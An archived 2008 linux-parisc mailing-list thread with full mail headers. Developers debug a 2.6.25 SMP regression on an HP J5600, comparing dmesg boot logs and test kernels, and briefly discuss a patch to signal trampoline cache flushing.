Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:282 gmane.linux.kernel:668570
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/282>

On Sun, Apr 20, 2008 at 11:00:29PM -0600, Grant Grundler wrote:
> On Mon, Apr 21, 2008 at 01:18:18AM +0200, Domenico Andreoli wrote:
> > 
> >   as soon as I booted my dual PA8600 with 2.6.25 I got 1 CPU less. The
> > only other kernel I successfully used on that box is Debian's 2.6.22-3.
> 
> Sorry, I can't reproduce this on my j6000.
>
> But there are some differences:
> 1) I'm using gcc 4.2

how do you build with gcc 4.2? if i try with make -j2 CC=gcc-4.2 build
fails almost immediately (yes, I have package gcc-4.2).

> 2) I'm testing 32-bit kernels.

indeeed disabling 64 bit support brings the cpu back

> ...
> > model 9000/785/J5600
> > Total Memory: 3840 MB
> 
> Is this really 4GB with IO Hole?
> The memory behind the IO Hole should be visible at a phys addr above 4GB.

really don't know, please read the diff between the two boots. thank you.

--- dmesg.txt	2008-04-21 11:19:16.000000000 +0200
+++ dmesg2.txt	2008-04-21 15:27:46.000000000 +0200
@@ -1,6 +1,7 @@
-Linux version 2.6.22-3-parisc64-smp (Debian 2.6.22-6) (maks@debian.org) (gcc version 4.1.3 20071019 (prerelease) (Debian 4.1.2-17)) #2 SMP Mon Nov 12 21:04:20 CET 2007
+Linux version 2.6.25 (cavok@ska) (gcc version 4.1.3 20080308 (prerelease) (Debian 4.1.2-21)) #8 SMP Mon Apr 21 12:25:50 CES8
 FP[0] enabled: Rev 1 Model 16
 The 64-bit Kernel has started...
+console [ttyB0] enabled
 Initialized PDC Console for debugging.
 Determining PDC firmware type: System Map.
 model 00005d10 00000491 00000000 00000002 77b406fc 100000f0 00000008 000000b2 000000b2
@@ -8,41 +9,28 @@
 CPUID vers 17 rev 10 (0x0000022a)
 capabilities 0x3
 model 9000/785/J5600
-Memory Ranges:
- 0) Start 0x0000000000000000 End 0x00000000efffffff Size   3840 MB
- 1) Start 0x00000010f0000000 End 0x00000010ffffffff Size    256 MB
-Total Memory: 4096 MB
-initrd: 7fa75000-7ffee77e
-initrd: reserving 3fa75000-3ffee77e (mem_max 100000000)
-On node 0 totalpages: 983040
-  Normal zone: 13440 pages used for memmap
-  Normal zone: 0 pages reserved
-  Normal zone: 969600 pages, LIFO batch:31
-On node 1 totalpages: 65536
-  Normal zone: 896 pages used for memmap
-  Normal zone: 0 pages reserved
-  Normal zone: 64640 pages, LIFO batch:15
+Total Memory: 3840 MB
 LCD display at fffffff0f05d0008,fffffff0f05d0000 registered
 SMP: bootstrap CPU ID is 0
-Built 2 zonelists.  Total pages: 1034240
-Kernel command line: root=/dev/sdb5 panic=60 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux.failsafe
+Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 969600
+Kernel command line: root=/dev/sdb5 panic=60 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux
 PID hash table entries: 4096 (order: 12, 32768 bytes)
 Console: colour dummy device 160x64
 Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes)
 Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes)
-Memory: 4110336k/4194304k available (3041k kernel code, 83172k reserved, 1302k data, 296k init)
+Memory: 3858944k/3932160k available (2925k kernel code, 72904k reserved, 1278k data, 236k init)
 virtual kernel memory layout:
     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
-    memory  : 0x0000000040000000 - 0x0000001140000000   (69632 MB)
-      .init : 0x0000000040608000 - 0x0000000040652000   ( 296 kB)
-      .data : 0x00000000403f8500 - 0x000000004053e000   (1302 kB)
-      .text : 0x0000000040100000 - 0x00000000403f8500   (3041 kB)
-Calibrating delay loop... 1101.82 BogoMIPS (lpj=2203648)
-Security Framework v1.0.0 initialized
-SELinux:  Disabled at boot.
+    memory  : 0x0000000040000000 - 0x0000000130000000   (3840 MB)
+      .init : 0x00000000405b4000 - 0x00000000405ef000   ( 236 kB)
+      .data : 0x00000000403db720 - 0x000000004051b000   (1278 kB)
+      .text : 0x0000000040100000 - 0x00000000403db720   (2925 kB)
+SLUB: Genslabs=12, HWalign=64, Order=0-1, MinObjects=4, CPUs=2, Nodes=1
+Security Framework initialized
 Capability LSM initialized
 Mount-cache hash table entries: 256
 Brought up 1 CPUs
+net_namespace: 1008 bytes
 NET: Registered protocol family 16
 EISA bus registered
 Searching for devices...
@@ -58,11 +46,9 @@
 9. Memory at 0xfffffffffed10200 [49] { 1, 0x0, 0x09e, 0x00009 }
 Enabling regular chassis codes support v0.05
 Releasing cpu 1 now, hpa=fffffffffffa2000
-FP[1] enabled: Rev 1 Model 16
-migration_cost=4000
+SMP: CPU:1 is stuck.
 CPU(s): 2 x PA8600 (PCX-W+) at 552.000000 MHz
-Whole cache flush 177618 cycles, flushing 5578752 bytes 826963 cycles
-Setting cache flush threshold to 100000 (2 CPUs online)
+Setting cache flush threshold to fc880 (1 CPUs online)
 SBA found Astro 2.1 at 0xfffffffffed00000
 Elroy version TR2.1 (0x2) found at 0xfffffffffed30000
 PCI: Enabled native mode for NS87415 (pif=0x8f)

-----[ Domenico Andreoli, aka cavok
 --[ http://www.dandreoli.com/gpgkey.asc
   ---[ 3A0F 2F80 F79C 678A 8936  4FEE 0677 9033 A20E BC50
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [REGRESSION] 2.6.25 on parisc - CPU 1 is stuck
Date: Mon, 21 Apr 2008 09:43:38 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <1208789018.3640.6.camel@localhost.localdomain>
References: <20080420231818.GA2162@ska.dandreoli.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1208789075 8255 80.91.229.12 (21 Apr 2008 14:44:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Apr 2008 14:44:35 +0000 (UTC)
Cc: Kernel Mailing List <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org
To: Domenico Andreoli <cavokz@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 21 16:44:59 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JnxFp-0003pJ-Ct
	for glpp-linux-parisc@gmane.org; Mon, 21 Apr 2008 16:44:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752252AbYDUOnn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Apr 2008 10:43:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752098AbYDUOnn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 21 Apr 2008 10:43:43 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:44363 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751157AbYDUOnm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Apr 2008 10:43:42 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 9C3DC86F0;
	Mon, 21 Apr 2008 09:43:40 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1208789020; bh=d7nn3sBwG89+gFHst08x1vtl6EkK6Q2aYSRkin1+cL
	I=; l=1331; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:X-Mailer:
	 Content-Transfer-Encoding; b=WzrTJed4yYs4iAJMAvWq/pKLQ9WbIUPY+koTH
	Czk9nf314/ejKn1XvGS4Fo42at31szr9POOhxuNiY763ZK+ybllbpXsqfpZTPktKwi8
	kQnWCjsOb3mMYBoDAnF43v7vsPnFG64Vw6aoG1vEL1Ze3X8UW94aBQ2nzaZbwSgpU10
	=
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id vZlTuOgvlH+g; Mon, 21 Apr 2008 09:43:39 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id DA55D801E;
	Mon, 21 Apr 2008 09:43:38 -0500 (CDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=2007; t=1208789019; bh=d7nn3sBwG89+gFHst08x1vtl6EkK6Q2aYSRkin1+cL
	I=; l=1331; h=Subject:From:To:Cc:In-Reply-To:References:
	 Content-Type:Date:Message-Id:Mime-Version:X-Mailer:
	 Content-Transfer-Encoding; b=mZ/H6dNv8MS67KQa54YBhSswiCowMwBW5QgD5
	oPltWiRZNLJyn7yYZUpPw7/tsvpvOkSRBo+3XWB5HD4oCT+7iTDkmKam0NjtR+MqJDa
	gXnyk1Lk8bs/LDnhnhvelEXYuTjvPqceVBH/QpcZbMVuSH5In0ugjOxH3ZlvNBr+Fts
	=
In-Reply-To: <20080420231818.GA2162@ska.dandreoli.com>
X-Mailer: Evolution 2.12.3 (2.12.3-4.fc8) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:283 gmane.linux.kernel:668614
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/283>

On Mon, 2008-04-21 at 01:18 +0200, Domenico Andreoli wrote: 
> as soon as I booted my dual PA8600 with 2.6.25 I got 1 CPU less. The
> only other kernel I successfully used on that box is Debian's 2.6.22-3.
> 
> Debian never built 2.6.23 for parisc, 2.6.24 was still hanging last
> time I checked it, 2.6.25 did not even build until recent -rc. So I am
> not in the best position to bisect.

Try this one; it's a corrected version of debian 2.6.24-1 for parisc
systems:

http://www.parisc-linux.org/~jejb/parisc_debs/linux-image-2.6.24-1-parisc64-smp_2.6.24-5+b1_hppa.deb

It's known to boot correctly on B, A and rp3440 systems, but we don't
have a J system to try it out on.

> Here is the relevant dmesg.
> Releasing cpu 1 now, hpa=fffffffffffa2000
> SMP: CPU:1 is stuck.
> CPU(s): 2 x PA8600 (PCX-W+) at 552.000000 MHz
> Setting cache flush threshold to f84c0 (1 CPUs online)

Unfortunately that doesn't tell us anything other than the start IPI
failed for some reason.  One thing to try with the J series is a 32 bit
kernel just in case: they're the only SMP systems that will boot 32
bits, just in case you could try a 32 bit smp kernel.

As Dave Anglin said, it could be a config problem, although when I have
CPUs deconfigured by firmware, they usually don't show up in the
inventory.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PARISC] fix signal trampoline cache flushing
Date: Mon, 21 Apr 2008 07:51:01 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <119aab440804210751g67baf212o786edbc6f9a5168e@mail.gmail.com>
References: <20080415223638.GD17646@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1208789491 9817 80.91.229.12 (21 Apr 2008 14:51:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Apr 2008 14:51:31 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Kyle McMartin" <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 21 16:52:02 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JnxMy-0006bV-Ug
	for glpp-linux-parisc@gmane.org; Mon, 21 Apr 2008 16:51:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751321AbYDUOvF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Apr 2008 10:51:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751611AbYDUOvF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 21 Apr 2008 10:51:05 -0400
Original-Received: from wr-out-0506.google.com ([64.233.184.235]:40582 "EHLO
	wr-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751321AbYDUOvD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Apr 2008 10:51:03 -0400
Original-Received: by wr-out-0506.google.com with SMTP id c48so807111wra.1
        for <linux-parisc@vger.kernel.org>; Mon, 21 Apr 2008 07:51:02 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        bh=sntd1pNDfV7aKvva3rJKchijQCBuT0wicQ5c6TfUoJA=;
        b=PeI4EH79hX7hofrVOBluZAus1ZnmmQmtzXK3QSKH0xjDU+wjhLxrNrwfXUv6u5tnakMbGTJxAPzDx2UwCbhzqXJrtY+5/q6lS4FbkIdVict6b7Gds9rWgPIu0RCvLsYIZfXmazNVDgg+5He1D7KqYtnJgMLDyj/4bDpf88j7QZo=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=NUikt92R/FlMZfrcJtSjkSySZm0K7f2PNqyqIKp2PV6gBYYHyt6LPWWc73hWlk1K0o3jO/KWIH+3w2O/+Iq/dgkx7FjapWa5KeOavEbTjGSIpLfCDhqKOur24++QxEujg/Y/DXak/Z1U1clfLADVQ2nDuzzrLaVmWx7ZkYqeTc4=
Original-Received: by 10.141.145.11 with SMTP id x11mr3283354rvn.215.1208789461436;
        Mon, 21 Apr 2008 07:51:01 -0700 (PDT)
Original-Received: by 10.141.62.12 with HTTP; Mon, 21 Apr 2008 07:51:01 -0700 (PDT)
In-Reply-To: <20080415223638.GD17646@phobos.i.cabal.ca>
Content-Disposition: inline
X-Google-Sender-Auth: cf404297c0b5eeb4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:284
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/284>

On Tue, Apr 15, 2008 at 3:36 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
>  diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
>  index 58fccc9..06213d1 100644
>  --- a/arch/parisc/kernel/signal.c
>  +++ b/arch/parisc/kernel/signal.c
>  @@ -534,7 +534,8 @@ insert_restart_trampoline(struct pt_regs *regs)
>                  * Flushing one cacheline is cheap.
>                  * "sync" on bigger (> 4 way) boxes is not.
>                  */
>  -               flush_icache_range(regs->gr[30], regs->gr[30] + 4);
>  +               flush_user_dcache_range(regs->gr[30], regs->gr[30] + 4);
>  +               flush_user_icache_range(regs->gr[30], regs->gr[30] + 4);

We also have a restartable syscall trampoline (I think this is unique
to PA), does that one also need fixing?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PARISC] fix signal trampoline cache flushing
Date: Mon, 21 Apr 2008 11:16:50 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20080421151650.GA30767@phobos.i.cabal.ca>
References: <20080415223638.GD17646@phobos.i.cabal.ca> <119aab440804210751g67baf212o786edbc6f9a5168e@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1208791146 17386 80.91.229.12 (21 Apr 2008 15:19:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Apr 2008 15:19:06 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 21 17:19:39 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jnxlu-0000Je-Df
	for glpp-linux-parisc@gmane.org; Mon, 21 Apr 2008 17:17:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754798AbYDUPQw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Apr 2008 11:16:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754690AbYDUPQw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 21 Apr 2008 11:16:52 -0400
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:40194 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754798AbYDUPQv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Apr 2008 11:16:51 -0400
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 88BFB17805A; Mon, 21 Apr 2008 11:16:50 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <119aab440804210751g67baf212o786edbc6f9a5168e@mail.gmail.com>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:285
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/285>

On Mon, Apr 21, 2008 at 07:51:01AM -0700, Carlos O'Donell wrote:
> On Tue, Apr 15, 2008 at 3:36 PM, Kyle McMartin <kyle@mcmartin.ca> wrote:
> >  diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
> >  index 58fccc9..06213d1 100644
> >  --- a/arch/parisc/kernel/signal.c
> >  +++ b/arch/parisc/kernel/signal.c
> >  @@ -534,7 +534,8 @@ insert_restart_trampoline(struct pt_regs *regs)
> >                  * Flushing one cacheline is cheap.
> >                  * "sync" on bigger (> 4 way) boxes is not.
> >                  */
> >  -               flush_icache_range(regs->gr[30], regs->gr[30] + 4);
> >  +               flush_user_dcache_range(regs->gr[30], regs->gr[30] + 4);
> >  +               flush_user_icache_range(regs->gr[30], regs->gr[30] + 4);
> 
> We also have a restartable syscall trampoline (I think this is unique
> to PA), does that one also need fixing?
> 

no.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Domenico Andreoli" <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [REGRESSION] 2.6.25 on parisc - CPU 1 is stuck
Date: Mon, 21 Apr 2008 22:24:35 +0200
Lines: 88
Approved: news@gmane.org
Message-ID: <b40acdb70804211324j22e70bf4o36a54b40401f84b6@mail.gmail.com>
References: <20080420231818.GA2162@ska.dandreoli.com>
	 <1208789018.3640.6.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1208809502 393 80.91.229.12 (21 Apr 2008 20:25:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Apr 2008 20:25:02 +0000 (UTC)
Cc: "Kernel Mailing List" <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org
To: "James Bottomley" <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 21 22:25:35 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jo2Zn-0001vF-RH
	for glpp-linux-parisc@gmane.org; Mon, 21 Apr 2008 22:25:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750791AbYDUUYi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Apr 2008 16:24:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751205AbYDUUYi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 21 Apr 2008 16:24:38 -0400
Original-Received: from fg-out-1718.google.com ([72.14.220.153]:48901 "EHLO
	fg-out-1718.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750791AbYDUUYh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Apr 2008 16:24:37 -0400
Original-Received: by fg-out-1718.google.com with SMTP id l27so1881606fgb.17
        for <linux-parisc@vger.kernel.org>; Mon, 21 Apr 2008 13:24:36 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
        bh=ajtiYT0MZBgx6+9Awfbu+6grfo8y4hhbvqWdxmXbuGE=;
        b=bVtuHyUjQ/e5y84MIwsyEelEHIfVDEBFJbJw/5+12L1KYTGdBFs5tv8Yd/psTI+2Sf0eylTQq2ieNdSjN8txEu5UEgQYxqiAzOkiQwStNQEWyl9tYnFHjg1T6x7EtEhUT6xGhYjRFn40lAVelKmEWw9H7RR+1rzd6L4JiPMnA7U=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
        b=AIwueqdcDrtRlCTIF7Hs9ow5pij6IJ3wkuaKouY0bflCTYUCTEJF3J+X2ooQAs+ECjU8iXRzt1Jtb0TYjAwAcN5vbXxZfyIh0ZiZ/nkD+U3xiUjOroP1fExURj83MmIrXmcV1fkBhr7dAf51LsP91d9MclfpmpJUEiKx3i4ZmtI=
Original-Received: by 10.86.90.2 with SMTP id n2mr14068074fgb.8.1208809475924;
        Mon, 21 Apr 2008 13:24:35 -0700 (PDT)
Original-Received: by 10.86.99.18 with HTTP; Mon, 21 Apr 2008 13:24:35 -0700 (PDT)
In-Reply-To: <1208789018.3640.6.camel@localhost.localdomain>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:286 gmane.linux.kernel:668793
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/286>

On 4/21/08, James Bottomley <James.Bottomley@hansenpartnership.com> wrote:
> On Mon, 2008-04-21 at 01:18 +0200, Domenico Andreoli wrote:
>  > as soon as I booted my dual PA8600 with 2.6.25 I got 1 CPU less. The
>  > only other kernel I successfully used on that box is Debian's 2.6.22-3.
>  >
>  > Debian never built 2.6.23 for parisc, 2.6.24 was still hanging last
>  > time I checked it, 2.6.25 did not even build until recent -rc. So I am
>  > not in the best position to bisect.
>
> Try this one; it's a corrected version of debian 2.6.24-1 for parisc
>  systems:
>
>  http://www.parisc-linux.org/~jejb/parisc_debs/linux-image-2.6.24-1-parisc64-smp_2.6.24-5+b1_hppa.deb
>
>  It's known to boot correctly on B, A and rp3440 systems, but we don't
>  have a J system to try it out on.

it does not work :( it stops here:

Linux version 2.6.24-1-parisc64-smp (Debian 2.6.24-5+b1)
(jejb@parisc-linux.org) (gcc version 4.1.3 20080114 (prerelease)
(Debian 4.1.2-19)) #2 SMP W8
FP[0] enabled: Rev 1 Model 16
The 64-bit Kernel has started...
console [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005d10 00000491 00000000 00000002 77b406fc 100000f0 00000008
000000b2 000000b2
vers  00000300
CPUID vers 17 rev 10 (0x0000022a)
capabilities 0x3
model 9000/785/J5600
Memory Ranges:
 0) Start 0x0000000000000000 End 0x00000000efffffff Size   3840 MB
 1) Start 0x00000010f0000000 End 0x00000010ffffffff Size    256 MB
Total Memory: 4096 MB
initrd: 7fa06000-7ffee68b
initrd: reserving 3fa06000-3ffee68b (mem_max 100000000)
LCD display at fffffff0f05d0008,fffffff0f05d0000 registered
SMP: bootstrap CPU ID is 0
Built 2 zonelists in Zone order, mobility grouping on.  Total pages: 1034240
Kernel command line: root=/dev/sdb5 panic=60 HOME=/ console=ttyS0
TERM=vt102 palo_kernel=2/vmlinux
PID hash table entries: 4096 (order: 12, 32768 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes)
Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes)
Memory: 4109824k/4194304k available (3166k kernel code, 83792k
reserved, 1401k data, 296k init)
virtual kernel memory layout:
    vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
    memory  : 0x0000000040000000 - 0x0000001140000000   (69632 MB)
      .init : 0x000000004063c000 - 0x0000000040686000   ( 296 kB)
      .data : 0x0000000040417890 - 0x0000000040576000   (1401 kB)
      .text : 0x0000000040100000 - 0x0000000040417890   (3166 kB)
Security Framework initialized
SELinux:  Disabled at boot.
Capability LSM initialized
Mount-cache hash table entries: 256
Initializing cgroup subsys ns
Initializing cgroup subsys cpuacct
Brought up 1 CPUs
net_namespace: 120 bytes
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Astro BC Runway Port at 0xfffffffffed00000 [10] { 12, 0x0, 0x582, 0x0000b }
2. Elroy PCI Bridge at 0xfffffffffed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
3. Elroy PCI Bridge at 0xfffffffffed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
4. Elroy PCI Bridge at 0xfffffffffed34000 [10/2] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfffffffffed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
6. Elroy PCI Bridge at 0xfffffffffed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
7. Forte W+ 2w at 0xfffffffffffa0000 [32] { 0, 0x0, 0x5d1, 0x00004 }
8. Forte W+ 2w at 0xfffffffffffa2000 [34] { 0, 0x0, 0x5d1, 0x00004 }
9. Memory at 0xfffffffffed10200 [49] { 1, 0x0, 0x09e, 0x00009 }
Enabling regular chassis codes support v0.05
Releasing cpu 1 now, hpa=fffffffffffa2000

-----[ Domenico Andreoli, aka cavok
 --[ http://www.dandreoli.com/gpgkey.asc
   ---[ 3A0F 2F80 F79C 678A 8936  4FEE 0677 9033 A20E BC50
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mathieu Desnoyers <mathieu.desnoyers@polymtl.ca>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [RFC patch 5/9] PARISC remove -traditional
Date: Tue, 22 Apr 2008 13:24:09 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <20080422172842.036035445@polymtl.ca>
